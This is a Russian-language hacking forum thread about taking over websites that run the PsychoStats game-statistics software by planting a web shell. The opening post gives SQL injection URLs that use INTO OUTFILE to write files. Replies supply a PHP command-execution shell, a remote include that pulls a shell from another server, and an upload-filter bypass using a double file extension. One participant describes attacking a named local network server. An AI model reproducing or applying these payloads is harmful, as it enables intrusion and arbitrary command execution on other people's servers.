![]() |
Заливаем шелл через PsychoStats
Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats.
Статья, по-существу, является описанием к видео . Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись. Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл :) И так, по шагам... Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы... Код:
http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00Код:
/player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessionsКод:
/player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessionsКод:
/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessionsКод:
1191849001 1191849415 7405.11 4 4 1.00 2 50.00 0 0 0.00 0 0.00 593 53 11 13.25 20.75 0 414Код:
/clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=descКод:
1093 1093 2007-04-06 2007-09-30 21.24 0 11 8 72.73 36 90.00 40 2.91 28 2.04 308 0 82 377 314 374 333 29.50 88582 607 16 6 0.99 5 0.86 76 0 172 29.45 2284 0 0 0 0 31 584 25 0.96 0.72 1191141416 48366 3 25.00 1373 10751 18.41 3 580 617 495 796 70.50 117 12 0 0 0 1093 167840198 1175835726 3 1 2 7136.22 10000.00 1198267271 1 167840198 \N [@_oFF_D]~TURIK.<awp>~ 0 \N \NС наилучшими пожеланиями, FoST 8(тире)794(тире)038 (с) FoST 08.01.2008, 23:00 Статья впервые опубликована здесь на ачате. |
можно и проще сделать,
Цитата:
непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула |
будет работать если у юзера есть файл прив, а вообще интересно)
|
Цитата:
|
А есть ещё статьи по взлому этой Психостаты?
|
NAT_uu, хз может и есть =)
|
Цитата:
|
Обязательно указывать полный путь до папки с правами? Ведь на всех статистиках возможна запись в папку /images , /images/maps/ . Может можно просто
Код:
/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/images/file.txt'))&sorder=desc#plrsessions |
обязательно полный путь, если путь вобще не указывать, то он зальет в текущую папку, т.е. в ту где хранятся файлы базы данных, а они из веба недоступны т.е. поумалчанию файлы заливаются в папку с файлами базы данных
|
Можно попробовать через текущую папку
outfile './../../..path/file.txt') ..path=путь к дире доступной для чтения извне. Но там придётся или подбирать этот самый путь или же использовать заранее найденную локальную php-inj. |
папка с базами мускула как правило находится далеко от папок веба, поэтому
вот это outfile './../../..path/file.txt') бесполезно \n =) а уж если есть локал пшп инж, то проще залить в /tmp , в неё то всегда записать можно) |
Там еще можно иконку заливать в профиле (Хотя я не везде видел).Так вот, вместо нее заливаем пхп скрипт ) Только не помню, называем 1.ico.php - так кажется
|
не могу зарегать юзера что надо в поле Player Name: когда вписываю имя у меня не регится а пишет только Unique ID does not exist что делать ?
|
Т.к. большинство ников в стате висят только потому, что с ними играли в самой игре кс, то можно взять и зарегать этот ник на себя :) Чтобы залить шелл обязательно нужно состоять в клане! Так что регай ник, который уже состоит в клане. Если так не получится, тогда заходи в игру, поиграй чуток и в клан войди :)
|
я звиняюсь у мя проблемы с мускульными запросами:
Цитата:
я прошу пояснить так как у меня возникла проблема ... как понял для того чтобы пхп-шлл заработал.... надо вывисти в файл одну строку с пхп-имем 1-ого участника клана... а у мя в файл выводится инфа о всех пользователях клана и врезультате запуска шела выкидывает страничку с ошибкой Цитата:
п.с. на этом примере Цитата:
|
Для того, чтобы пхп-шелл заработал надо, чтобы в тексте оказалась строчка <?php system($cmd);?> Да, в этом когда записываешь через into outfile, в файле оказывается информация о всех участниках. Имя одного из них(любого) должно быть как раз-таки шеллом. php-код обрабатывается как язык программирования, только лишь в случае встречи спецтегов <? ... ?>
Запиши в ТХТ файл и покажи, что у тебя там записалось. |
nightmare007, запускай скрипт так
http://сайт/cs/3.php?cmd=[команда] например http://сайт/cs/3.php?cmd=id У тебя в ошибке написано Cannot execute a blank command in W:\www\cs\3.php on line 1 Невозможно выполнить пустую команду, т к ты не задал переменную $cmd |
а для какой версии PsychoStats все это проходит то?
|
Которая в статье - "Powered by PsychoStats v3.0.6b © 2006".
А чтобы узнать уязвима стата или нет, проведи скл-инъекцию после 'order by'. |
вот что в текстовом файле:
Цитата:
обратил внимание на <?php system($cmd);?> точку с запятой ..d);?>.. но без результатно что с ней что без неё показывает ошибку и всотут |
а там регистр глобалс включен?
тебе надо вот это вписывать: <?php system($_GET['cmd']);?> причем это лучше захекисть в sql запросе |
Scipio о млин точно ...куль сеньк всем...
слу ... а как терь нормальный пхп файлик закинуть на машину... плз подкинь идею |
<?php include("http://путь до шелла");?>
или <?php copy("http://путь до шелла","shelcheng.php");?> это тоже в хекс исли вариант с copy то он шелл скопирует в текущую папку а с инклюдом и так все понятно |
драсьте.
у нас есть отдельный "сервер" для игр. виден есессно только в локалке, соответственно адрес 172.17.1.11, так же на сайт можно пройти по сцыле http://games.k26.ru (опять же только в локалке) психостатс расположен в http://172.17.1.11/stats попробовал сплоит с первой страницы - теперь по http://172.17.1.11/stats/ выдет кучу ошибок и ничего не открыват, по http://games.k26.ru/stats/ все отлично открывается. пробовал как в видео. в общем не могу понять. куда можно залить файл. выяснил полный путь сайта. c:/inetpub/wwwroot/stats. видно что это iis. пытался залить файл куда только можно, ничего не получается. может быть потому, что остальные директории запрещены на заливку файлов. так же есть http://games.k26.ru/wow (сервер вов). так же пытался туда залить - безуспешно. и вот думаю - куда лить файл? :) существуют ли стандартные директории в iis, куда можно лить файлы? |
Lordick, найти папку на которую точно есть доступ на запись. Такие папки обычно являются папками хранения всяких аватаров, картинок, вложений и тп. Поищи такие папки в психостате. Если есть форум, посмотри там такую папку.
А вообще, я смотрю сервер на винде стоит, там нет таких разграничений на прав, как в *никсах и все папки открыты на запись. Magic Quotes может быть включен=>фильтруются ковычки=>запрос некорректен. |
помогите как слить шелл с удаленного серва?
папку с правами нашел. |
Заливка шелла в PsychoStats
Нашёл способ...
Заходим в админку > значки, переименовываем шелл в что-то типо shell.PHP.hgfgif, заливаем. Главное чтобы расширение оканчивалось на gif ;) Вот собственно и получаем шелл [path]/images/icons/shell.PHP.hgfgif. Объясняю как это происходит: движок проверяет только три последних символа в расширении файла, поэтому делаем такое расширение PHP.hgfgif, предварительно поставив расширение .PHP. и он этот файл легко пропускает. Для Apach'а расширение .hgfgif неизвестно и поэтому он смотрит на расширение левее и интерпретирует его как php-скрипт! Проверяйте: может и на других двигах сработает... |
Короче такая ситуация.
Получил доступ к админке. SQL которые были описаны до этого не работают. Зашел в админку, добавил расширение для картинок - png, jpg, gif, php Так. Теперь в icons (где заливать файлы). Такие методы, как менять расширение, как сказал InFlame - file.PHP.asdgif - не катят. Нашел только такой способ: Залил себе на сайт файл. script.php и решил его сразу залить через Upload From URL. - вывел ошибку The URL does not point to an image. Немного подумал. Сделал содержимое файла таким: PHP код:
Я обрадовался, начал кормить туда шелл. Но ВОТ ТАКАЯ БЕДА! Содержимое файла оказывается таким, как он выполняется на моем хосте. Тоесть. Если я напимер сделаю <?php system('dir'); ?> То на хосте жертвы будет красоваться содердимое моего хоста. Файл получается статичным. Прошу помощи )))))))))))))) |
echo '<?phpinfo();?>'; ?
/add по сабжу, дописать свои данные в файл из подзапроса можно так order by (select 1 into outfile 'lala' lines terminated by 'php') или вообще обойтись без подзапроса (выйдет даже короче) |
Цитата:
|
| Время: 12:05 |